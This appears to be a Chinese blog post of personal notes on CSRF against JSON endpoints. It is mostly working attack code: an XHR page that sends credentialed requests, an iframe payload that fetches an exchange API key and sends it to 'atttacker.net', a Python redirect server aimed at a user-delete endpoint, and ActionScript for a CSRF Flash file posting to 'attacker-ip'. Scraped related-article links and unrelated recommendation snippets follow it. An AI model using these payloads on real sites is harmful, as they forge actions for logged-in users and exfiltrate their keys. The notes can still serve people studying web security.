之前遇到提交json的请求想要进行csrf攻击都是用的闭合表单的方法,很笨很麻烦,

这次看到了别人的操作记录一下.

这里用到了ajax异步请求(但是这里我有个疑问就是:这里用到了cors跨域,是不是必须服务器端也支持cors且又配置错误的情况才可以用此方法?待验证)

<html>

<body>

<script>

function submitRequest()    {

     var xhr = new XMLHttpRequest();

     xhr.open("POST", "http://www.xxx.com/webnet/edit", true);

    xhr.setRequestHeader("Accept", "*/*");

    xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");

    xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");

    xhr.withCredentials = true;          //带上cookie

    xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}));    }

</script>

<form action="#">

<input type="button" value="Submit request" onclick="submitRequest();"/>

</form>

</body>

</html>

看到别人还有用flash文件来进行攻击的情况,也记录下

https://www.freebuf.com/articles/web/155189.html

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send(); function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
</script>’></iframe>

2018.12.1  对flash csrf的补充如下---------------------------------------------------------------分割线-----------------------------------------------------------------------

https://blog.csdn.net/Lee_Natuo/article/details/83749809

这个时候有两种情况,flash文件上传在目标站点还是攻击者自己的站点,如果是目标站点,则需要在攻击者站点上配置crossdomain XML文件:

<cross-domain-policy>
<allow-access-from domain="*" secure="false"/>
<allow-http-request-headers-from domain="*" headers="*" secure="false"/>
</cross-domain-policy> 流程:
1.在本地先创建一个服务器端,可以用python(目标站点:http://victim-site/userdelete),通过命令“python pyserver.py”运行Web服务器
import BaseHTTPServer
import time
import sys
   
HOST= '127.0.0.1'
PORT= 8000
   
classRedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
  def do_POST(s):
    if s.path == '/csrf.swf':
      s.send_response(200)
     s.send_header("Content-Type","application/x-shockwave-flash")
      s.end_headers()
      s.wfile.write(open("csrf.swf","rb").read())
      return
    s.send_response(307)
    s.send_header("Location","http://victim-site/userdelete")
    s.end_headers()
  def do_GET(s):
    print(s.path)
    s.do_POST()
   
if__name__ == '__main__':
  server_class = BaseHTTPServer.HTTPServer
  httpd = server_class((HOST,PORT),RedirectHandler)
  print time.asctime(),"Server Starts -%s:%s" % (HOST,PORT)
  try:
    httpd.serve_forever()
  except KeyboardInterrupt:
    pass
  httpd.server_close()
  print time.asctime(),"Server Stops -%s:%s" % (HOST,PORT) 2.创建csrf.swf文件
1)创建一个包含下列ActionScript代码的text文件,文件名为csrf.as
package
{
  import flash.display.Sprite;
  import flash.net.URLLoader;
  import flash.net.URLRequest;
  import flash.net.URLRequestHeader;
  import flash.net.URLRequestMethod;
public class csrf extends Sprite
  {
   public function csrf()
    {
      super();
      var member1:Object = null;
      var myJson:String = null;
      member1 = new Object();
      member1 = {
          "acctnum":"100",
          "confirm":"true"
      };
      var myData:Object = member1;
      myJson = JSON.stringify(myData);
      myJson = JSON.stringify(myData);
      var url:String ="http://attacker-ip:8000/";
      var request:URLRequest = new URLRequest(url);
      request.requestHeaders.push(new URLRequestHeader("Content- Type","application/json"));
      request.data = myJson;
      request.method = URLRequestMethod.POST;
      var urlLoader:URLLoader = new URLLoader();
try
      {
          urlLoader.load(request);
          return;
      }
      catch(e:Error)
      {
          trace(e);
          return;
      }
    }
  }
} 2)获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的<attacker-ip> 上面用的127.0.0.1
3)运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf
  这里编译的时候有些坑,第一个时不能使用64位的jre,所以我又下载了32位的jvm,但是配置jvm.config的时候出错了
  于是干脆用的批处理,在flex_sdk下的bin目录下创建bat文件,内容如下:
   "%JAVA_HOME%\bin\java.exe" -Xmx384m -Dsun.io.useCanonCaches=false -jar "%~dp0..\lib\mxmlc.jar" +flexlib="%~dp0..\frameworks" %*   最后用这个bat来编译as代码成swf文件

4)最后只需加载swf文件即可,可以使用如下代码在html中加载swf文件
<embed style="RIGHT: 10px; POSITION: absolute; TOP: 10px" align=center
src=127.0.0.1/csrf.swf
width="1024" height="580 "
type=application/x-shockwave-flash wmode="transparent" quality="high" ;>
</embed> 上面的情况和XSCH (Cross Site Content Hijacking)可翻译为跨站内容劫持有些细节上的区别,详情http://wiki.secbug.net/web_xsch.html

CSRF与JSON的更多相关文章

  1. flask的安全注意事项,如何防范XSS、CSRF、JSON安全

    参考官方文档:http://docs.jinkan.org/docs/flask/security.html 1.xss Flask 配置 Jinja2 自动转义所有值,除非显式地指明不转义.这就排除 ...

  2. Cross Site Request Forgery (CSRF)--spring security -转

    http://docs.spring.io/spring-security/site/docs/3.2.0.CI-SNAPSHOT/reference/html/csrf.html 13. Cross ...

  3. 教你轻松解决CSRF跨站请求伪造攻击

    摘要:CSRF(Cross-site request forgery)跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站.与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也 ...

  4. Django与Ajax

    一.Ajax简介 AJAX(Asynchronous Javascript And XML)翻译成中文就是“异步Javascript和XML”.即使用Javascript语言与服务器进行异步交互,传输 ...

  5. Django之会议室预预订

    model表设计: from django.db import models from django.contrib.auth.models import AbstractUser # Create ...

  6. yii2 basic版本的一些配置

    1.nginx配置 重写规则 修改访问模式为 http://wh.store/admin/index 文件位置: /home/wwwroot/default/yii2-app-basic/config ...

  7. day 50 AJAX 初入门

    前情提要: jq 学不好,ajax   难用好, 食用先请先确保最起码的jq 能会用 https://www.cnblogs.com/baili-luoyun/p/10473518.html  jq ...

  8. 欢迎使用 Flask¶

    欢迎使用 Flask¶ 欢迎阅读 Flask 文档. 本文档分为几个部分.我推荐您先从 安装 开始,之后再浏览 快速入门 章节. 教程 比快速入门更详细地介绍了如何用 Flask 创建一个完整的 应用 ...

  9. Flask 中文手册 0.10 文档

    Flask 中文手册 0.10 文档 欢迎使用 Flask 欢迎阅读 Flask 文档. 本文档分为几个部分.我推荐您先从 安装 开始,之后再浏览 快速入门 章节. 教程 比快速入门更详细地介绍了如何 ...

随机推荐

  1. mtr命令详解诊断网络路由

    首先安装mtr​# yum -y install mtr ​ ​一般在windows 来判断网络连通性用ping 和tracert, ping的话可以来判断丢包率,tracert可以用来跟踪路由, 在 ...

  2. Mysql 5.7 安装 解压缩版 忘记密码

    [参考]Mysql 命令大全 [参考]MySQL 5.7.19 忘记密码 重置密码 配置文件my.ini示例 服务启动后停止 log配置 [参考]MySQL5.7.19 服务挂掉 自动关闭 mysql ...

  3. ifconfig 中的 eth0 eth0:1 eth0.1 与 lo

    1. eth0 eth0:1 eth0.1 eth0 eth0:1 和eth0.1三者的关系对应于物理网卡.子网卡.虚拟VLAN网卡的关系:物理网卡:物理网卡这里指的是服务器上实际的网络接口设备,这里 ...

  4. undo与redo

    http://www.cnblogs.com/HondaHsu/p/3724815.html

  5. jquery中Get方法请求接口

    $.ajax( { url: apiUrl + '/api/Code/GetCodeProductInfo', type: 'GET', //Header头部添加Token参数 beforeSend: ...

  6. UNION ALL的用法

    " ?> -mapper.dtd" > <mapper namespace="com.j1.soa.resource.order.oracle.dao. ...

  7. win7 win10开启网络访问(网络访问 无法访问 网络访问需要输入密码 等问题处理)

    狂客原创,转载请注明.侵权必究! 右键单击桌面的“网络”图标 选择“属性”. 在弹出的“网络和共享中心”窗口,点击“更改高级共享设置”. 参考文章:https://jingyan.baidu.com/ ...

  8. Win8驱动的兼容性问题

    引用注明>> [作者:张佩][原文:www.yiiyee.cn/blog] 最近我发现为Win8开发的驱动程序,有些能安装在Win7上(包括更早系统),有些则不能.那些不能安装的情况很可怕 ...

  9. Linux系统(本例以Ubuntu18.04为例)安装GCC编译器

    Linux(本例以Ubuntu18.04为例)安装GCC编译器 一.安装 安装命令:sudo apt-get  build-dep  gcc 遇到 您希望继续执行吗? [Y/n] y 直接输入y回车即 ...

  10. JS中实现种子随机数

    参数: 详谈JS中实现种子随机数及作用 我在Egret里这么写... class NumberTool{ /**种子(任意默认值5)*/ public static seed:number = 5; ...